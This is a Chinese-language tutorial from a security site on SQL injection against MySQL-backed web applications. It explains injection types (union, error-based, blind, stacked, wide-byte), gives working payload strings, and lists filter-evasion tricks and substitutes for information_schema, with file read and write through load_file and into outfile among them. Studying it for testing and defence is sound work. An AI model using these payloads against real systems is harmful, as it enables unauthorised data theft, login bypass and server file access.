标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3316]   作者: ShYLie 发表于: [2023-08-10]

本文共 [248] 位读者顶过

SQL注入概念

是一种代码注入技术,它通过WEB页面请求或表单提交的形式,提交恶意的sql语句,从而达到攻击数据库驱动的目的

SQL注入原理

攻击者通过sql语句绕过认证机制,从而达到获取数据库数据或权限的目的,SQL注入本质上时后端程序错误的将用户恶意数据当作sql代码执行

SQL注入的两个条件(关键点)

1、用户能够自定义数据。

2、WEB应用把用户输入的数据带到了数据库执行

SQL注入危害

1、获取WEB页面的数据。

2、后台登录绕过。

3、通过SQL注入漏洞获取系统权限。

4、读取文件信息

常见的判断数据库类型的方法

1、特殊语句:

1、Sql Server:select @@version -- qw[出自:jiwo.org]
2、Oracle:select banner from v$version
select banner from v$version whererownum=1
3、MySQL:select version();&select @@version
4、postgresql:select version

2、常见的数据库和对应默认端口号

MySQL 3306

oracle 1521

SQL Server tcp:1433 ,udp:1434

Postogresql 5432

3、常见的网站类型和数据库的联系

asp:SQL Server,Access

.net:SQL Server

php:mysql,PostogreSql

java:Oracle,Mysql

SQL注入常见的注入点

GET参数

POST参数

Cookie

Referer头

X-Forward-For头

User-Agent头

总的说,一切与数据库据交互的点上都可能存在SQL注入

SQL注入中MySQL常被利用的函数

session_user():返回连接数据库的用户名和主机名,也就是网站配置文件中连接数据库的账户

version():返回当前数据库版本

database():返回当前数据库名称,只有在use命令选择了一个数据库后才能查到

concat():将查询结果的几行数据合并为一行数据,前后可以添加分隔符(常见0x7e:~)

group_concat():将查询结果的一列或几列数据合并为一个字符串,可以添加分隔符(常用0x7e)

ascii():将参数字符串转换为asccii码

substr(字符串,1,1):将字符串从的指定位置截取到指定位置(从0开始)

sleep():程序沉睡指定时间(秒)

load_file(‘路径’):读取本地文件,条件:1、有file_priv权限。2、要知道网站路径。3、当前MySQL用户对被读文件要有读取权限。4、要能够使用union,即能够联合查询。5、文件大小必须小于max_allow_paket(@@max_allow_paket默认大小为1047552字节,即1023KB)。6、magic_qutos_gpc=off(php5.4后被移除)。7、secure_file_priv(/etc/mysql/my.ini或/etc/my.ini)要设置为空(设置为null表示不能读取或写入任何文件,空则表示可以读取或写入,如果设置为具体路径则在具体路径下才有权限)如果单引号被过滤,可以将文件路径hex编码

into outfile(‘路径’):将数据写入文件,如果文件不存在则新建。条件:1、要有file_priv权限。2、知道网站的绝对路径。3、要能够使用union,即能够使用联合查询。4、对WEB目录要有写权限。注:数据要用双引号括起来,使用但引号可能会和数据内部的单引号冲突。如果服务端过滤了单引号,可以将数据进行hex编码。

into dumpfile():与into outfile函数相似,不过dumpfile将数据保存至文件中时,不会保留数据的格式,如行尾换行符,所以dumpfile输出的数据在文件中只有一行;另外,dumpfile能够将数据输出到二进制文件中,outfile不行。

length():返回字符串长度

if(语句1,语句2,语句3):判断语句1执行结果,如果为真则执行语句2后结束,为假则执行语句3后结束

@@datadir:数据库文件存放路径

@@basedir:数据路安装路径

@@version_compile_os:返回操作系统版本

MySQL注入流程

查询当前数据库名:

union select 1,database(),3 -- qw (-被过滤情况下可以在URL上写%23,url解码后就是#符号)

查询数据库下的表名:

union select 1,group_conat(0x7e,table_name,0x7e),3 from information_schema.tables where table_schema=database() -- qw

查询数据库中表中字段名:

select 1,group_concat(0x7e,column_name,0x7e),3 from information_schema.columns where table_schema=database() and table_name='表名' -- qw

查询具体数据:

select 1,字段名,3 from 表名

注入方式

联合注入:

使用union关键字,先使前方查询内容为空,后面跟上union select 语句便可查询出数据,如:
?id=-1' union select 1,2,3 -- qw(id要闭合,在回显位上进行数据的读取)

报错注入:

当查询没有回显但存在报错信息时使用,在注入点后加上 and updatexml(1,(select database),1) -- qw便可将查询结果放在报错信息中外带

盲注:

时间盲注:

没有回显位也没有报错信息,便可以使用时间忙注,在注入点后添加查询查询结果判定语句,如:?id=1' and if(ascii((subtr(select database())0,1)=115),sleep(3),0) -- qw。正确时程序会延时3秒。

布尔盲注:

与时间盲注相似,不过能够直接在页面上判断出语句的正确与否。如:?id=1' and length(select database())=8 -- qw。正确页面与不正确页面有明显区别

堆叠注入:

使用方法:将注入点闭合并在后面加上;符号,在后面添加第二条自己构建的语句,多为数据库操作语句如删表,建表,插入数据等。例如:
?id=1'; create table test like users;。

局限性:

并不是所有环境都可以执行,受到API或数据库引擎不支持的限制;权限不足时也受影响;当后端·代码只返回一个查询结果时,堆叠注入的查询结果将不显示(读取数据建议使用union);需要预先知道一些数据库信息。

宽字节注入:

原理:服务端将字符编码设为GBK,GBK为双字节编码,当前一个字节的ascii码大于128时,会被认为时一个汉字。当php代码存在addslashes,mysql_real_escape_string,mysql_escape_string函数时,会在特殊符号前面加上转义字符\,这时我们在闭合符号前加上%df,服务端进行解码时,会将%df和\看作一个整体,并解码为汉字,从而实现闭合符号逃逸

条件:

1、数据库编码设置为GBK,即charactor_set_client=GBK,charactor_set_connection=GBK。
2、使用了转义函数如:addslashes,mysql_real_escape,mysql_escape_string函数

注入方式:在闭合符号前添加大于128的GBK字符,如%df

Cookie注入:

在Cookie位置上尝试注入,一般是报错注入

常见的过滤及绕过

过滤关键字如select,union,and,or等:

1、大小写双写绕过

2、插入字符<>,/**/绕过,如sel/**/ect,uni/**/on,sel<>ect

3、将关键字前后空格替换为注释符,绕过一些检测关键字时带上前后空格的过滤器,如/**/union/**/select/**/

4、使用url编码绕过

5、使用替代符号,如and->&&->%26%26,or->||->%7c%7c

6、在关键字前面添加%00,在一些c/c++编写的过滤器中,对于%00是空字节,标识语句结束即过滤结束

过滤符号:

1、过滤空格:

使用注释符或+替代如:union/**/select,union+select

使用()绕过,在SQL中,一切能够得出结果的语句都可以放入括号中标识子语句,而括号的两端可以没有空格。常用于时间盲注,如select(ascii(subtr(database(),0,1))>24)

使用url编码%a0,%09(tab键),%0a(回车换行符),%0b,%0c,%0d,%00

2、过滤逗号:

join绕过,如:union select 1,2,3 -> union select from (select 1)a join (select 2) join (select 3)

盲注时,函数绕过逗号:

substr()和mid()使用from for,如substr(database() from 1 for 1)表示将字符串从1位置截取长度1,mid()同理

limit可以使用offset,如:select * from users limit 1 offset 1

3、过滤等号:

使用like关键代替,如:select * from users  wehre username like "%admin%"

使用in代替,如:select * from users where username in "admin"

使用between and替换等号,如:加入搜索结果为test,select username from users where id=1 and substr(username,1,1) between ’a‘ and ’b‘,查询页面会错误,因为t不在a和b之间

使用大小于符号

4、过滤注释符:

在结尾加上and ‘1’=‘1或者or ’1‘=’1闭合最后的单引号

尝试-#-,如果过滤不彻底则可以绕过

使用%23(#)

5、过滤引号:

将原本该被引号包裹的部分使用16进制表示,如:select username from users where table_name=0x61645F6C696E6B

可以尝试宽字节注入

6、过滤大小于符号:

使用greatest,least函数(下方有函数解释)

使用strcmp(str1,str2)函数,若所有字符串相同则返回0,若根据当前分类次序,第一个参数小于第二个参数则返回-1,反之返回1

使用in和between and关键字

过滤常用函数:

1、sleep()-->benchmark(),benchmark(count,expr)函数将执行expr表达式count次

2、ascii()-->hex(),bin(),转换成16进制和2进制转换函数,转换完成后再使用unhex()和conv()函数将结果转换为string

3、group_concat-->concat_ws(),concat_ws有两个参数,第一参数是连接符,第二个参数是要连接的字符串,该函数将字符串按照用连接符连接成一个字符串

禁止访问information_schema表

使用其他表替代information_schema,如:
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
这些表中都有table_schema和table_name字段,但是没有列名,可以使用无列名查询
查询语句:
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

无列名查询:

1、join-using查列名:

获取第一列信息:?id=-1' union select * from (select * from users as a join users as b) as c --+

获取第二列信息:?id=-1' union select * from (select * from users as a join users as b using(id)) as c --+

获取第三列信息:?id=-1' union select * from (select * from users as a join users as b using(id,username)) as c --+

原理:多次连接有相同列名时会报错,报错信息中有重复的列名;using()函数将已知的重复列进行合并,从而获取表中所有列名

评论

暂无
发表评论
 返回顶部 
热度(248)
 关注微信